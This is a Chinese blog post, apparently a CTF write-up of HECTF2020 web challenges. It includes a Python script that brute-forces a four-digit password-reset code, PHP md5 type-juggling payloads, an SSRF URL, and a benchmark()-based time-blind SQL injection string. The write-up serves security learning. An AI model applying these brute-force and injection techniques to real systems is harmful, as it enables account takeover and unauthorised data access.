cl.c9u.me index.php,HECTF2020web部分题wp

博客内容涉及网络安全领域,包括验证码的暴力破解尝试,PHP源码的错误报告和条件判断,以及SQL注入的探讨。作者通过脚本尝试爆破四位数验证码,并解析了含有flag的PHP源码,讨论了利用md5碰撞的解题策略。此外,还提到了时间盲注的利用,但因脚本问题未能完全自动化,手动完成了一部分。最后,作者指出可能存在SQL注入漏洞,但未深入进行漏洞利用。
摘要由CSDN通过智能技术生成

签到

f790362830d95b989b9938fc7e543957.png点一下忘记密码

55d840f423e7888efe5bdf27cda6b2bf.png然后就输入手机号,并输入四位验证码。手机号可以在登陆界面的注释中找到,这里说是四位数验证码,那就应该是爆破了。菜鸡的脚本附上

import requests

url1='http://121.196.32.184:8080/findpass.php?num=15970773575&check='

url2='&next=%E4%B8%8B%E4%B8%80%E6%AD%A5'

for i in range(0,10):

for j in range(0,10):

for k in range(0,10):

for l in range(0,10):

pay=str(i)+str(j)+str(k)+str(l)

url=url1+pay+url2

res=requests.get(url)

if len(res.text)!=1059:

print(pay)

break

这脚本跑的有点慢,请师傅们不要嫌弃

b87b041556e8b862ee541f9136b7fc23.png

跑出验证码后直接修改密码,登录拿flag

cb4cd218570e7f227518e84f7abe12bf.png

ezphp

源码

error_reporting(0);

highlight_file(__file__);

include('flag.php');

$string_1 = $_GET['str1'];

$string_2 = $_GET['str2'];

if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){

if(is_numeric($string_1)){

$md5_1 = md5($string_1);

$md5_2 = md5($string_2);

if($md5_1 != $md5_2){

$a = strtr($md5_1, 'cxhp', '0123');

$b = strtr($md5_2, 'cxhp', '0123');

if($a == $b){

echo $flag;

}

else {

die('you are close');

}

}

else {

die("md5 is wrong");

}

}

else {

die('str1 not number');

}

}

else {

die('you are wrong!');

}

?>

第一层直接数组绕

?param1[]=1&param2[]=2

第二层是要传入一个数字和一个不受限制的,这两个值的md5值不能相等,然后用strstr()函数将其MD5值中的c换为0,x换为1…这个与NCTF2019的Easyphp基本一样,解题原理就是传一个md5值以ce开头的数字,其md5值经过strstr()函数处理后ce就变成了0e,另一个参数的md5以0e开头,就构成了md5碰撞。直接上payload

?param1[]=1&param2[]=2&str1=9427417&str2=240610708

dfa5cb952902c16266c2a5dc15554592.png

ssrfme

直接用0.0.0.0

?url=http://0.0.0.0/flag.php

7d5137c85abbae98324c94621c83eba4.png

xiazhu

974b089ae0ee9e2625c4057d2e5be76d.png

一个很漂亮的登陆界面,但是登录键没法按。直接将前端代码表单中的disabled删了就行了

a9d7f8875c146c1cdd4d54f45d8fdd99.png这样就知道怎么传参的了。感觉应该是sql注入,但是加单引号这些页面都没什么变化,就想着试试时间盲注。

6ce34ac966b4da76ec14610321c4ee91.pngok,思路没错,但是sleep()被过滤,这里可以用benchmark()绕过,

79cddb387ba8f2d803d9d09a4eae46c3.png

成功延时。那么就可以时间盲注了,

1' and if((ascii(substr(database(),1,1))>100),benchmark(1000000,md5('hahaha')),0)%23

注数据库,我写的脚本不知道为什么不能延时,找了很多办法也没有解决,就手注出了个数据库就没做了。数据库名: flllllllaggggggg。

好了,接着去准备考试了,我(xue)爱(ge)学(chui)习(zi)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值